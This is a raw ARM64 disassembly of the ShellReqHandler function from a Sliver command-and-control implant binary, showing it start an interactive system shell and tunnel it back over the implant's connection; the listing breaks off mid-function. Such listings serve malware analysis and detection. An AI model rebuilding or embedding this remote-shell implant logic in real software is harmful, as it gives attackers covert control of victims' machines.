File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    0040b6a0
    0040b6a0github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ShellReqHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
    0040b6a0ldr x16, [x28+16]
    0040b6a4sub x17, sp, 896
    0040b6a8subs xzr, x17, x16
    0040b6acb.ls 0x40c650
    0040b6b0sub x20, sp, 1024
    0040b6b4stp x29, x30, [x20-8]
    0040b6b8add sp, x20, 0
    0040b6bcsub x29, sp, 8
    0040b6c0str x0, [sp+1032]
    0040b6c4str x1, [sp+1040]
    0040b6c8adrp x0, 0x27e000
    0040b6ccadd x0, x0, 3968
    0040b6d0bl runtime.newobject
    0040b6d4str x0, [sp+720]
    0040b6d8adrp x27, 0x640000
    0040b6dcldr w1, [x27+3056]
    0040b6e0cbz w1, 0x40b6e8
    0040b6e4b 0x40b6ec
    0040b6e8
    0040b6e8loc_40b6e8:
    0040b6e8b 0x40b708
    0040b6ec
    0040b6ecloc_40b6ec:
    0040b6ecstr x0, [sp+328]
    0040b6f0mov x1, x0
    0040b6f4adrp x0, 0x27e000
    0040b6f8add x0, x0, 3968
    0040b6fcbl runtime.wbZero
    0040b700ldr x0, [sp+328]
    0040b704b 0x40b708
    0040b708
    0040b708loc_40b708:
    0040b708mov x20, x0
    0040b70cadr x27, 16
    0040b710stp x29, x27, [sp-24]
    0040b714sub x29, sp, 24
    0040b718bl fn_87cfc
    0040b71csub x29, sp, 8
    0040b720ldr x5, [sp+720]
    0040b724str x5, [sp+224]
    0040b728str x5, [sp+848]
    0040b72cldr x5, [sp+1032]
    0040b730ldrsb x27, [x5]
    0040b734ldr x0, [x5+24]
    0040b738ldr x1, [x5+32]
    0040b73cldr x2, [x5+40]
    0040b740str x0, [sp+696]
    0040b744str x1, [sp+704]
    0040b748str x2, [sp+712]
    0040b74cldr x4, [sp+848]
    0040b750adrp x3, 0x309000
    0040b754add x3, x3, 1280
    0040b758bl google.golang.org/protobuf/proto.Unmarshal
    0040b75cstr x0, [sp+272]
    0040b760str x1, [sp+280]
    0040b764cbnz x0, 0x40b76c
    0040b768b 0x40b9fc
    0040b76c
    0040b76cloc_40b76c:
    0040b76cadd x27, sp, 832
    0040b770stp xzr, xzr, [x27]
    0040b774add x5, sp, 832
    0040b778str x5, [sp+664]
    0040b77cldr x5, [sp+272]
    0040b780ldr x6, [sp+280]
    0040b784str x5, [sp+648]
    0040b788str x6, [sp+656]
    0040b78cstr x5, [sp+640]
    0040b790ldr x5, [sp+640]
    0040b794cbnz x5, 0x40b79c
    0040b798b 0x40b7ac
    0040b79c
    0040b79cloc_40b79c:
    0040b79cldr x5, [sp+640]
    0040b7a0ldr x5, [x5+8]
    0040b7a4str x5, [sp+640]
    0040b7a8b 0x40b7b0
    0040b7ac
    0040b7acloc_40b7ac:
    0040b7acb 0x40b7b0
    0040b7b0
    0040b7b0loc_40b7b0:
    0040b7b0ldr x5, [sp+664]
    0040b7b4ldrsb x27, [x5]
    0040b7b8ldr x6, [sp+640]
    0040b7bcldr x7, [sp+656]
    0040b7c0str x6, [x5]
    0040b7c4adrp x27, 0x640000
    0040b7c8ldr w6, [x27+3056]
    0040b7cccbz w6, 0x40b7d4
    0040b7d0b 0x40b7d8
    0040b7d4
    0040b7d4loc_40b7d4:
    0040b7d4b 0x40b7ec
    0040b7d8
    0040b7d8loc_40b7d8:
    0040b7d8bl runtime.gcWriteBarrier2
    0040b7dcstr x7, [x25]
    0040b7e0ldr x6, [x5+8]
    0040b7e4str x6, [x25+8]
    0040b7e8b 0x40b7ec
    0040b7ec
    0040b7ecloc_40b7ec:
    0040b7ecstr x7, [x5+8]
    0040b7f0ldr x2, [sp+664]
    0040b7f4ldrsb x27, [x2]
    0040b7f8b 0x40b7fc
    0040b7fc
    0040b7fcloc_40b7fc:
    0040b7fcstr x2, [sp+672]
    0040b800orr x4, xzr, 1
    0040b804str x4, [sp+680]
    0040b808str x4, [sp+688]
    0040b80cadrp x0, 0x2b8000
    0040b810add x0, x0, 2080
    0040b814movz x1, 39
    0040b818mov x3, x4
    0040b81cbl log.Printf
    0040b820ldr x5, [sp+272]
    0040b824ldrsb x27, [x5]
    0040b828ldr x5, [x5+24]
    0040b82cldr x0, [sp+280]
    0040b830blr x5
    0040b834str x0, [sp+816]
    0040b838str x1, [sp+824]
    0040b83cadrp x0, 0x27f000
    0040b840add x0, x0, 160
    0040b844bl runtime.newobject
    0040b848str x0, [sp+632]
    0040b84cadrp x27, 0x640000
    0040b850ldr w5, [x27+3056]
    0040b854cbz w5, 0x40b85c
    0040b858b 0x40b860
    0040b85c
    0040b85cloc_40b85c:
    0040b85cb 0x40b87c
    0040b860
    0040b860loc_40b860:
    0040b860str x0, [sp+320]
    0040b864mov x1, x0
    0040b868adrp x0, 0x27f000
    0040b86cadd x0, x0, 160
    0040b870bl runtime.wbZero
    0040b874ldr x0, [sp+320]
    0040b878b 0x40b87c
    0040b87c
    0040b87cloc_40b87c:
    0040b87cmov x20, x0
    0040b880adr x27, 16
    0040b884stp x29, x27, [sp-24]
    0040b888sub x29, sp, 24
    0040b88cbl fn_87cfc
    0040b890sub x29, sp, 8
    0040b894adrp x0, 0x27a000
    0040b898add x0, x0, 3648
    0040b89cbl runtime.newobject
    0040b8a0str x0, [sp+624]
    0040b8a4adrp x27, 0x640000
    0040b8a8ldr w1, [x27+3056]
    0040b8accbz w1, 0x40b8b4
    0040b8b0b 0x40b8b8
    0040b8b4
    0040b8b4loc_40b8b4:
    0040b8b4b 0x40b8d4
    0040b8b8
    0040b8b8loc_40b8b8:
    0040b8b8str x0, [sp+312]
    0040b8bcmov x1, x0
    0040b8c0adrp x0, 0x27a000
    0040b8c4add x0, x0, 3648
    0040b8c8bl runtime.wbZero
    0040b8ccldr x0, [sp+312]
    0040b8d0b 0x40b8d4
    0040b8d4
    0040b8d4loc_40b8d4:
    0040b8d4mov x20, x0
    0040b8d8adr x27, 16
    0040b8dcstp x29, x27, [sp-24]
    0040b8e0sub x29, sp, 24
    0040b8e4bl fn_87cf8
    0040b8e8sub x29, sp, 8
    0040b8ecldr x2, [sp+624]
    0040b8f0ldrsb x27, [x2]
    0040b8f4ldr x3, [sp+816]
    0040b8f8ldr x4, [sp+824]
    0040b8fcstr x4, [x2+16]
    0040b900adrp x27, 0x640000
    0040b904ldr w4, [x27+3056]
    0040b908cbz w4, 0x40b910
    0040b90cb 0x40b914
    0040b910
    0040b910loc_40b910:
    0040b910b 0x40b928
    0040b914
    0040b914loc_40b914:
    0040b914bl runtime.gcWriteBarrier2
    0040b918str x3, [x25]
    0040b91cldr x4, [x2+8]
    0040b920str x4, [x25+8]
    0040b924b 0x40b928
    0040b928
    0040b928loc_40b928:
    0040b928str x3, [x2+8]
    0040b92cldr x2, [sp+632]
    0040b930ldrsb x27, [x2]
    0040b934ldr x3, [sp+624]
    0040b938adrp x27, 0x640000
    0040b93cldr w4, [x27+3056]
    0040b940cbz w4, 0x40b948
    0040b944b 0x40b94c
    0040b948
    0040b948loc_40b948:
    0040b948b 0x40b960
    0040b94c
    0040b94cloc_40b94c:
    0040b94cbl runtime.gcWriteBarrier2
    0040b950str x3, [x25]
    0040b954ldr x4, [x2+40]
    0040b958str x4, [x25+8]
    0040b95cb 0x40b960
    0040b960
    0040b960loc_40b960:
    0040b960str x3, [x2+40]
    0040b964ldr x2, [sp+632]
    0040b968str x2, [sp+808]
    0040b96cadd x27, sp, 784
    0040b970stp xzr, xzr, [x27]
    0040b974str xzr, [sp+800]
    0040b978add x27, sp, 768
    0040b97cstp xzr, xzr, [x27]
    0040b980ldr x1, [sp+808]
    0040b984adrp x0, 0x309000
    0040b988add x0, x0, 1312
    0040b98cbl google.golang.org/protobuf/proto.Marshal
    0040b990str x0, [sp+784]
    0040b994str x1, [sp+792]
    0040b998str x2, [sp+800]
    0040b99cstr x3, [sp+768]
    0040b9a0str x4, [sp+776]
    0040b9a4ldr x2, [sp+784]
    0040b9a8ldr x3, [sp+792]
    0040b9acldr x4, [sp+800]
    0040b9b0str x2, [sp+520]
    0040b9b4str x3, [sp+528]
    0040b9b8str x4, [sp+536]
    0040b9bcldr x2, [sp+768]
    0040b9c0ldr x3, [sp+776]
    0040b9c4str x2, [sp+408]
    0040b9c8str x3, [sp+416]
    0040b9ccldr x2, [sp+520]
    0040b9d0ldr x3, [sp+528]
    0040b9d4ldr x4, [sp+536]
    0040b9d8str x2, [sp+200]
    0040b9dcstr x3, [sp+208]
    0040b9e0str x4, [sp+216]
    0040b9e4ldr x1, [sp+1040]
    0040b9e8ldr x0, [sp+1032]
    0040b9ecbl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError
    0040b9f0ldp x29, x30, [sp-8]
    0040b9f4add sp, sp, 1024
    0040b9f8ret x30
    0040b9fc
    0040b9fcloc_40b9fc:
    0040b9fcldr x2, [sp+224]
    0040ba00ldrsb x27, [x2]
    0040ba04ldr x0, [x2+8]
    0040ba08ldr x1, [x2+16]
    0040ba0cstr x0, [sp+608]
    0040ba10str x1, [sp+616]
    0040ba14bl github.com/bishopfox/sliver/implant/sliver/shell.GetSystemShellPath
    0040ba18str x0, [sp+232]
    0040ba1cstr x1, [sp+240]
    0040ba20str x2, [sp+248]
    0040ba24str xzr, [sp+760]
    0040ba28add x27, sp, 768
    0040ba2cstp xzr, xzr, [x27]
    0040ba30ldr x2, [sp+224]
    0040ba34ldrsb x27, [x2]
    0040ba38ldr x2, [x2+32]
    0040ba3cstr x2, [sp+104]
    0040ba40ldr x2, [sp+224]
    0040ba44ldrsb x27, [x2]
    0040ba48ldrb w4, [x2+24]
    0040ba4cstrb w4, [sp+63]
    0040ba50ldr x0, [sp+104]
    0040ba54ldr x1, [sp+232]
    0040ba58ldr x2, [sp+240]
    0040ba5cldr x3, [sp+248]
    0040ba60bl github.com/bishopfox/sliver/implant/sliver/shell.StartInteractive
    0040ba64str x0, [sp+760]
    0040ba68str x1, [sp+768]
    0040ba6cstr x2, [sp+776]
    0040ba70ldr x2, [sp+760]
    0040ba74str x2, [sp+296]
    0040ba78ldr x2, [sp+768]
    0040ba7cldr x3, [sp+776]
    0040ba80str x2, [sp+1000]
    0040ba84str x3, [sp+1008]
    0040ba88ldr x2, [sp+296]
    0040ba8cstr x2, [sp+120]
    0040ba90ldr x2, [sp+1000]
    0040ba94ldr x3, [sp+1008]
    0040ba98str x2, [sp+272]
    0040ba9cstr x3, [sp+280]
    0040baa0ldr x3, [sp+120]
    0040baa4cbnz x3, 0x40baac
    0040baa8b 0x40c1a8
    0040baac
    0040baacloc_40baac:
    0040baaccbnz x2, 0x40bab4
    0040bab0b 0x40bd44
    0040bab4
    0040bab4loc_40bab4:
    0040bab4add x27, sp, 832
    0040bab8stp xzr, xzr, [x27]
    0040babcadd x5, sp, 832
    0040bac0str x5, [sp+560]
    0040bac4ldr x5, [sp+272]
    0040bac8ldr x6, [sp+280]
    0040baccstr x5, [sp+544]
    0040bad0str x6, [sp+552]
    0040bad4str x5, [sp+512]
    0040bad8ldr x5, [sp+512]
    0040badccbnz x5, 0x40bae4
    0040bae0b 0x40baf4
    0040bae4
    0040bae4loc_40bae4:
    0040bae4ldr x5, [sp+512]
    0040bae8ldr x5, [x5+8]
    0040baecstr x5, [sp+512]
    0040baf0b 0x40baf8
    0040baf4
    0040baf4loc_40baf4:
    0040baf4b 0x40baf8
    0040baf8
    0040baf8loc_40baf8:
    0040baf8ldr x5, [sp+560]
    0040bafcldrsb x27, [x5]
    0040bb00ldr x6, [sp+512]
    0040bb04ldr x7, [sp+552]
    0040bb08str x6, [x5]
    0040bb0cadrp x27, 0x640000
    0040bb10ldr w6, [x27+3056]
    0040bb14cbz w6, 0x40bb1c
    0040bb18b 0x40bb20
    0040bb1c
    0040bb1cloc_40bb1c:
    0040bb1cb 0x40bb34
    0040bb20
    0040bb20loc_40bb20:
    0040bb20bl runtime.gcWriteBarrier2
    0040bb24str x7, [x25]
    0040bb28ldr x6, [x5+8]
    0040bb2cstr x6, [x25+8]
    0040bb30b 0x40bb34
    0040bb34
    0040bb34loc_40bb34:
    0040bb34str x7, [x5+8]
    0040bb38ldr x2, [sp+560]
    0040bb3cldrsb x27, [x2]
    0040bb40b 0x40bb44
    0040bb44
    0040bb44loc_40bb44:
    0040bb44str x2, [sp+568]
    0040bb48orr x4, xzr, 1
    0040bb4cstr x4, [sp+576]
    0040bb50str x4, [sp+584]
    0040bb54adrp x0, 0x2b3000
    0040bb58add x0, x0, 2256
    0040bb5corr x1, xzr, 32
    0040bb60mov x3, x4
    0040bb64bl log.Printf
    0040bb68ldr x5, [sp+272]
    0040bb6cldrsb x27, [x5]
    0040bb70ldr x5, [x5+24]
    0040bb74ldr x0, [sp+280]
    0040bb78blr x5
    0040bb7cstr x0, [sp+816]
    0040bb80str x1, [sp+824]
    0040bb84adrp x0, 0x27f000
    0040bb88add x0, x0, 160
    0040bb8cbl runtime.newobject
    0040bb90str x0, [sp+504]
    0040bb94adrp x27, 0x640000
    0040bb98ldr w5, [x27+3056]
    0040bb9ccbz w5, 0x40bba4
    0040bba0b 0x40bba8
    0040bba4
    0040bba4loc_40bba4:
    0040bba4b 0x40bbc4
    0040bba8
    0040bba8loc_40bba8:
    0040bba8str x0, [sp+320]
    0040bbacmov x1, x0
    0040bbb0adrp x0, 0x27f000
    0040bbb4add x0, x0, 160
    0040bbb8bl runtime.wbZero
    0040bbbcldr x0, [sp+320]
    0040bbc0b 0x40bbc4
    0040bbc4
    0040bbc4loc_40bbc4:
    0040bbc4mov x20, x0
    0040bbc8adr x27, 16
    0040bbccstp x29, x27, [sp-24]
    0040bbd0sub x29, sp, 24
    0040bbd4bl fn_87cfc
    0040bbd8sub x29, sp, 8
    0040bbdcadrp x0, 0x27a000
    0040bbe0add x0, x0, 3648
    0040bbe4bl runtime.newobject
    0040bbe8str x0, [sp+496]
    0040bbecadrp x27, 0x640000
    0040bbf0ldr w1, [x27+3056]
    0040bbf4cbz w1, 0x40bbfc
    0040bbf8b 0x40bc00
    0040bbfc
    0040bbfcloc_40bbfc:
    0040bbfcb 0x40bc1c
    0040bc00
    0040bc00loc_40bc00:
    0040bc00str x0, [sp+312]
    0040bc04mov x1, x0
    0040bc08adrp x0, 0x27a000
    0040bc0cadd x0, x0, 3648
    0040bc10bl runtime.wbZero
    0040bc14ldr x0, [sp+312]
    0040bc18b 0x40bc1c
    0040bc1c
    0040bc1cloc_40bc1c:
    0040bc1cmov x20, x0
    0040bc20adr x27, 16
    0040bc24stp x29, x27, [sp-24]
    0040bc28sub x29, sp, 24
    0040bc2cbl fn_87cf8
    0040bc30sub x29, sp, 8
    0040bc34ldr x2, [sp+496]
    0040bc38ldrsb x27, [x2]
    0040bc3cldr x3, [sp+816]
    0040bc40ldr x4, [sp+824]
    0040bc44str x4, [x2+16]
    0040bc48adrp x27, 0x640000
    0040bc4cldr w4, [x27+3056]
    0040bc50cbz w4, 0x40bc58
    0040bc54b 0x40bc5c
    0040bc58
    0040bc58loc_40bc58:
    0040bc58b 0x40bc70
    0040bc5c
    0040bc5cloc_40bc5c:
    0040bc5cbl runtime.gcWriteBarrier2
    0040bc60str x3, [x25]
    0040bc64ldr x4, [x2+8]
    0040bc68str x4, [x25+8]
    0040bc6cb 0x40bc70
    0040bc70
    0040bc70loc_40bc70:
    0040bc70str x3, [x2+8]
    0040bc74ldr x2, [sp+504]
    0040bc78ldrsb x27, [x2]
    0040bc7cldr x3, [sp+496]
    0040bc80adrp x27, 0x640000
    0040bc84ldr w4, [x27+3056]
    0040bc88cbz w4, 0x40bc90
    0040bc8cb 0x40bc94
    0040bc90
    0040bc90loc_40bc90:
    0040bc90b 0x40bca8
    0040bc94
    0040bc94loc_40bc94:
    0040bc94bl runtime.gcWriteBarrier2
    0040bc98str x3, [x25]
    0040bc9cldr x4, [x2+40]
    0040bca0str x4, [x25+8]
    0040bca4b 0x40bca8
    0040bca8
    0040bca8loc_40bca8:
    0040bca8str x3, [x2+40]
    0040bcacldr x2, [sp+504]
    0040bcb0str x2, [sp+808]
    0040bcb4add x27, sp, 784
    0040bcb8stp xzr, xzr, [x27]
    0040bcbcstr xzr, [sp+800]
    0040bcc0add x27, sp, 768
    0040bcc4stp xzr, xzr, [x27]
    0040bcc8ldr x1, [sp+808]
    0040bcccadrp x0, 0x309000
    0040bcd0add x0, x0, 1312
    0040bcd4bl google.golang.org/protobuf/proto.Marshal
    0040bcd8str x0, [sp+784]
    0040bcdcstr x1, [sp+792]
    0040bce0str x2, [sp+800]
    0040bce4str x3, [sp+768]
    0040bce8str x4, [sp+776]
    0040bcecldr x2, [sp+784]
    0040bcf0ldr x3, [sp+792]
    0040bcf4ldr x4, [sp+800]
    0040bcf8str x2, [sp+936]
    0040bcfcstr x3, [sp+944]
    0040bd00str x4, [sp+952]
    0040bd04ldr x2, [sp+768]
    0040bd08ldr x3, [sp+776]
    0040bd0cstr x2, [sp+920]
    0040bd10str x3, [sp+928]
    0040bd14ldr x2, [sp+936]
    0040bd18ldr x3, [sp+944]
    0040bd1cldr x4, [sp+952]
    0040bd20str x2, [sp+152]
    0040bd24str x3, [sp+160]
    0040bd28str x4, [sp+168]
    0040bd2cldr x1, [sp+1040]
    0040bd30ldr x0, [sp+1032]
    0040bd34bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError
    0040bd38ldp x29, x30, [sp-8]
    0040bd3cadd sp, sp, 1024
    0040bd40ret x30
    0040bd44
    0040bd44loc_40bd44:
    0040bd44adrp x0, 0x2ae000
    0040bd48add x0, x0, 846
    0040bd4corr x1, xzr, 24
    0040bd50mov x2, xzr
    0040bd54mov x3, xzr
    0040bd58mov x4, x3
    0040bd5cbl log.Printf
    0040bd60b 0x40bd64
    0040bd64
    0040bd64loc_40bd64:
    0040bd64adrp x0, 0x1f7000
    0040bd68add x0, x0, 704
    0040bd6cbl runtime.newobject
    0040bd70str x0, [sp+464]
    0040bd74ldr x1, [sp+120]
    0040bd78ldrsb x27, [x1]
    0040bd7cldr x2, [x1+24]
    0040bd80ldr x1, [x1+16]
    0040bd84str x1, [x0]
    0040bd88adrp x27, 0x640000
    0040bd8cldr w1, [x27+3056]
    0040bd90cbz w1, 0x40bd98
    0040bd94b 0x40bd9c
    0040bd98
    0040bd98loc_40bd98:
    0040bd98b 0x40bdb0
    0040bd9c
    0040bd9cloc_40bd9c:
    0040bd9cbl runtime.gcWriteBarrier2
    0040bda0str x2, [x25]
    0040bda4ldr x6, [x0+8]
    0040bda8str x6, [x25+8]
    0040bdacb 0x40bdb0
    0040bdb0
    0040bdb0loc_40bdb0:
    0040bdb0str x2, [x0+8]
    0040bdb4ldr x6, [sp+464]
    0040bdb8ldrsb x27, [x6]
    0040bdbcldr x7, [sp+120]
    0040bdc0ldrsb x27, [x7]
    0040bdc4ldr x8, [x7+56]
    0040bdc8ldr x7, [x7+48]
    0040bdccstr x7, [x6+16]
    0040bdd0adrp x27, 0x640000
    0040bdd4ldr w7, [x27+3056]
    0040bdd8cbz w7, 0x40bde0
    0040bddcb 0x40bde4
    0040bde0
    0040bde0loc_40bde0:
    0040bde0b 0x40bdf8
    0040bde4
    0040bde4loc_40bde4:
    0040bde4bl runtime.gcWriteBarrier2
    0040bde8str x8, [x25]
    0040bdecldr x7, [x6+24]
    0040bdf0str x7, [x25+8]
    0040bdf4b 0x40bdf8
    0040bdf8
    0040bdf8loc_40bdf8:
    0040bdf8str x8, [x6+24]
    0040bdfcldr x6, [sp+464]
    0040be00ldrsb x27, [x6]
    0040be04b 0x40be08
    0040be08
    0040be08loc_40be08:
    0040be08str x6, [sp+472]
    0040be0corr x6, xzr, 2
    0040be10str x6, [sp+480]
    0040be14str x6, [sp+488]
    0040be18ldr x6, [sp+224]
    0040be1cldrsb x27, [x6]
    0040be20ldr x6, [x6+32]
    0040be24str x6, [sp+96]
    0040be28ldr x6, [sp+120]
    0040be2cldrsb x27, [x6]
    0040be30ldr x1, [x6+32]
    0040be34ldr x2, [x6+40]
    0040be38str x1, [sp+448]
    0040be3cstr x2, [sp+456]
    0040be40ldr x0, [sp+96]
    0040be44ldr x3, [sp+472]
    0040be48ldr x4, [sp+480]
    0040be4cldr x5, [sp+488]
    0040be50bl github.com/bishopfox/sliver/implant/sliver/transports.NewTunnel
    0040be54str x0, [sp+112]
    0040be58ldr x6, [sp+1040]
    0040be5cmov x1, x0
    0040be60mov x0, x6
    0040be64bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel
    0040be68adrp x0, 0x27f000
    0040be6cadd x0, x0, 160
    0040be70bl runtime.newobject
    0040be74str x0, [sp+440]
    0040be78adrp x27, 0x640000
    0040be7cldr w6, [x27+3056]
    0040be80cbz w6, 0x40be88
    0040be84b 0x40be8c
    0040be88
    0040be88loc_40be88:
    0040be88b 0x40bea8
    0040be8c
    0040be8cloc_40be8c:
    0040be8cstr x0, [sp+320]
    0040be90mov x1, x0
    0040be94adrp x0, 0x27f000
    0040be98add x0, x0, 160
    0040be9cbl runtime.wbZero
    0040bea0ldr x0, [sp+320]
    0040bea4b 0x40bea8
    0040bea8
    0040bea8loc_40bea8:
    0040bea8mov x20, x0
    0040beacadr x27, 16
    0040beb0stp x29, x27, [sp-24]
    0040beb4sub x29, sp, 24
    0040beb8bl fn_87cfc
    0040bebcsub x29, sp, 8
    0040bec0ldr x2, [sp+440]
    0040bec4ldrsb x27, [x2]
    0040bec8ldr x3, [sp+120]
    0040beccldrsb x27, [x3]
    0040bed0ldr x3, [x3+8]
    0040bed4ldrsb x27, [x3]
    0040bed8ldr x3, [x3+160]
    0040bedcldrsb x27, [x3]
    0040bee0ldr x3, [x3]
    0040bee4str w3, [x2+28]
    0040bee8ldr x2, [sp+440]
    0040beecldrsb x27, [x2]
    0040bef0ldr x3, [sp+224]
    0040bef4ldrsb x27, [x3]
    0040bef8ldr x4, [x3+8]
    0040befcldr x3, [x3+16]
    0040bf00str x3, [x2+16]
    0040bf04adrp x27, 0x640000
    0040bf08ldr w3, [x27+3056]
    0040bf0ccbz w3, 0x40bf14
    0040bf10b 0x40bf18
    0040bf14
    0040bf14loc_40bf14:
    0040bf14b 0x40bf2c
    0040bf18
    0040bf18loc_40bf18:
    0040bf18bl runtime.gcWriteBarrier2
    0040bf1cstr x4, [x25]
    0040bf20ldr x3, [x2+8]
    0040bf24str x3, [x25+8]
    0040bf28b 0x40bf2c
    0040bf2c
    0040bf2cloc_40bf2c:
    0040bf2cstr x4, [x2+8]
    0040bf30ldr x2, [sp+440]
    0040bf34ldrsb x27, [x2]
    0040bf38ldr x3, [sp+224]
    0040bf3cldrsb x27, [x3]
    0040bf40ldr x3, [x3+32]
    0040bf44str x3, [x2+32]
    0040bf48ldr x2, [sp+440]
    0040bf4cstr x2, [sp+808]
    0040bf50add x27, sp, 784
    0040bf54stp xzr, xzr, [x27]
    0040bf58str xzr, [sp+800]
    0040bf5cadd x27, sp, 768
    0040bf60stp xzr, xzr, [x27]
    0040bf64ldr x1, [sp+808]
    0040bf68adrp x0, 0x309000
    0040bf6cadd x0, x0, 1312
    0040bf70bl google.golang.org/protobuf/proto.Marshal
    0040bf74str x0, [sp+784]
    0040bf78str x1, [sp+792]
    0040bf7cstr x2, [sp+800]
    0040bf80str x3, [sp+768]
    0040bf84str x4, [sp+776]
    0040bf88ldr x2, [sp+784]
    0040bf8cldr x3, [sp+792]
    0040bf90ldr x4, [sp+800]
    0040bf94str x2, [sp+896]
    0040bf98str x3, [sp+904]
    0040bf9cstr x4, [sp+912]
    0040bfa0ldr x2, [sp+768]
    0040bfa4ldr x3, [sp+776]
    0040bfa8str x2, [sp+880]
    0040bfacstr x3, [sp+888]
    0040bfb0ldr x2, [sp+896]
    0040bfb4ldr x3, [sp+904]
    0040bfb8ldr x4, [sp+912]
    0040bfbcstr x2, [sp+128]
    0040bfc0str x3, [sp+136]
    0040bfc4str x4, [sp+144]
    0040bfc8adrp x0, 0x279000
    0040bfccadd x0, x0, 2848
    0040bfd0bl runtime.newobject
    0040bfd4str x0, [sp+432]
    0040bfd8adrp x27, 0x640000
    0040bfdcldr w2, [x27+3056]
    0040bfe0cbz w2, 0x40bfe8
    0040bfe4b 0x40bfec
    0040bfe8
    0040bfe8loc_40bfe8:
    0040bfe8b 0x40c008
    0040bfec
    0040bfecloc_40bfec:
    0040bfecstr x0, [sp+304]
    0040bff0mov x1, x0
    0040bff4adrp x0, 0x279000
    0040bff8add x0, x0, 2848
    0040bffcbl runtime.wbZero
    0040c000ldr x0, [sp+304]
    0040c004b 0x40c008
    0040c008
    0040c008loc_40c008:
    0040c008mov x20, x0
    0040c00cadr x27, 16
    0040c010stp x29, x27, [sp-24]
    0040c014sub x29, sp, 24
    0040c018bl fn_87cfc
    0040c01csub x29, sp, 8
    0040c020str xzr, [x0+80]
    0040c024ldr x2, [sp+432]
    0040c028ldrsb x27, [x2]
    0040c02cldr x3, [sp+1032]
    0040c030ldrsb x27, [x3]
    0040c034ldr x3, [x3+8]
    0040c038str x3, [x2+8]
    0040c03cldr x2, [sp+432]
    0040c040ldrsb x27, [x2]
    0040c044ldr x3, [sp+128]
    0040c048ldr x4, [sp+136]
    0040c04cldr x5, [sp+144]
    0040c050str x4, [x2+32]
    0040c054str x5, [x2+40]
    0040c058adrp x27, 0x63f000
    0040c05cldr w4, [x27+3056]
    0040c060cbz w4, 0x40c068
    0040c064b 0x40c06c
    0040c068
    0040c068loc_40c068:
    0040c068b 0x40c080
    0040c06c
    0040c06cloc_40c06c:
    0040c06cbl runtime.gcWriteBarrier2
    0040c070str x3, [x25]
    0040c074ldr x4, [x2+24]
    0040c078str x4, [x25+8]
    0040c07cb 0x40c080
    0040c080
    0040c080loc_40c080:
    0040c080str x3, [x2+24]
    0040c084ldr x2, [sp+432]
    0040c088str x2, [sp+752]
    0040c08cldr x2, [sp+1040]
    0040c090ldrsb x27, [x2]
    0040c094ldr x2, [x2]
    0040c098str x2, [sp+424]
    0040c09cldr x0, [sp+424]
    0040c0a0add x1, sp, 752
    0040c0a4bl runtime.chansend1
    0040c0a8adrp x0, 0x250000
    0040c0acadd x0, x0, 2144
    0040c0b0bl runtime.newobject
    0040c0b4str x0, [sp+400]
    0040c0b8adrp x2, 0
    0040c0bcadd x2, x2, 2704
    0040c0c0str x2, [x0]
    0040c0c4ldr x2, [sp+112]
    0040c0c8ldr x3, [sp+400]
    0040c0ccldrsb x27, [x3]
    0040c0d0adrp x27, 0x63f000
    0040c0d4ldr w4, [x27+3056]
    0040c0d8cbz w4, 0x40c0e0
    0040c0dcb 0x40c0e4
    0040c0e0
    0040c0e0loc_40c0e0:
    0040c0e0b 0x40c0f8
    0040c0e4
    0040c0e4loc_40c0e4:
    0040c0e4bl runtime.gcWriteBarrier2
    0040c0e8str x2, [x25]
    0040c0ecldr x1, [x3+8]
    0040c0f0str x1, [x25+8]
    0040c0f4b 0x40c0f8
    0040c0f8
    0040c0f8loc_40c0f8:
    0040c0f8str x2, [x3+8]
    0040c0fcldr x1, [sp+120]
    0040c100ldr x2, [sp+400]
    0040c104ldrsb x27, [x2]
    0040c108adrp x27, 0x63f000
    0040c10cldr w3, [x27+3056]
    0040c110cbz w3, 0x40c118
    0040c114b 0x40c11c
    0040c118
    0040c118loc_40c118:
    0040c118b 0x40c130
    0040c11c
    0040c11cloc_40c11c:
    0040c11cbl runtime.gcWriteBarrier2
    0040c120str x1, [x25]
    0040c124ldr x3, [x2+16]
    0040c128str x3, [x25+8]
    0040c12cb 0x40c130
    0040c130
    0040c130loc_40c130:
    0040c130str x1, [x2+16]
    0040c134ldr x1, [sp+1040]
    0040c138ldr x2, [sp+400]
    0040c13cldrsb x27, [x2]
    0040c140adrp x27, 0x63f000
    0040c144ldr w3, [x27+3056]
    0040c148cbz w3, 0x40c150
    0040c14cb 0x40c154
    0040c150
    0040c150loc_40c150:
    0040c150b 0x40c168
    0040c154
    0040c154loc_40c154:
    0040c154bl runtime.gcWriteBarrier2
    0040c158str x1, [x25]
    0040c15cldr x3, [x2+24]
    0040c160str x3, [x25+8]
    0040c164b 0x40c168
    0040c168
    0040c168loc_40c168:
    0040c168str x1, [x2+24]
    0040c16cldr x1, [sp+400]
    0040c170str x1, [sp+288]
    0040c174ldr x1, [sp+112]
    0040c178ldrsb x27, [x1]
    0040c17cldr x2, [x1+16]
    0040c180ldr x3, [x1+8]
    0040c184ldr x1, [x1+24]
    0040c188str x3, [sp+728]
    0040c18cstr x2, [sp+736]
    0040c190str x1, [sp+744]
    0040c194str xzr, [sp+88]
    0040c198str x2, [sp+80]
    0040c19cldr x1, [sp+728]
    0040c1a0str x1, [sp+72]
    0040c1a4b 0x40c3a0
    0040c1a8
    0040c1a8loc_40c1a8:
    0040c1a8adrp x0, 0x2b4000
    0040c1acadd x0, x0, 335
    0040c1b0movz x1, 34
    0040c1b4mov x2, xzr
    0040c1b8mov x3, xzr
    0040c1bcmov x4, x3
    0040c1c0bl log.Printf
    0040c1c4ldr x5, [sp+272]
    0040c1c8ldrsb x27, [x5]
    0040c1ccldr x5, [x5+24]
    0040c1d0ldr x0, [sp+280]
    0040c1d4blr x5
    0040c1d8str x0, [sp+816]
    0040c1dcstr x1, [sp+824]
    0040c1e0adrp x0, 0x27e000
    0040c1e4add x0, x0, 160
    0040c1e8bl runtime.newobject
    0040c1ecstr x0, [sp+600]
    0040c1f0adrp x27, 0x63f000
    0040c1f4ldr w5, [x27+3056]
    0040c1f8cbz w5, 0x40c200
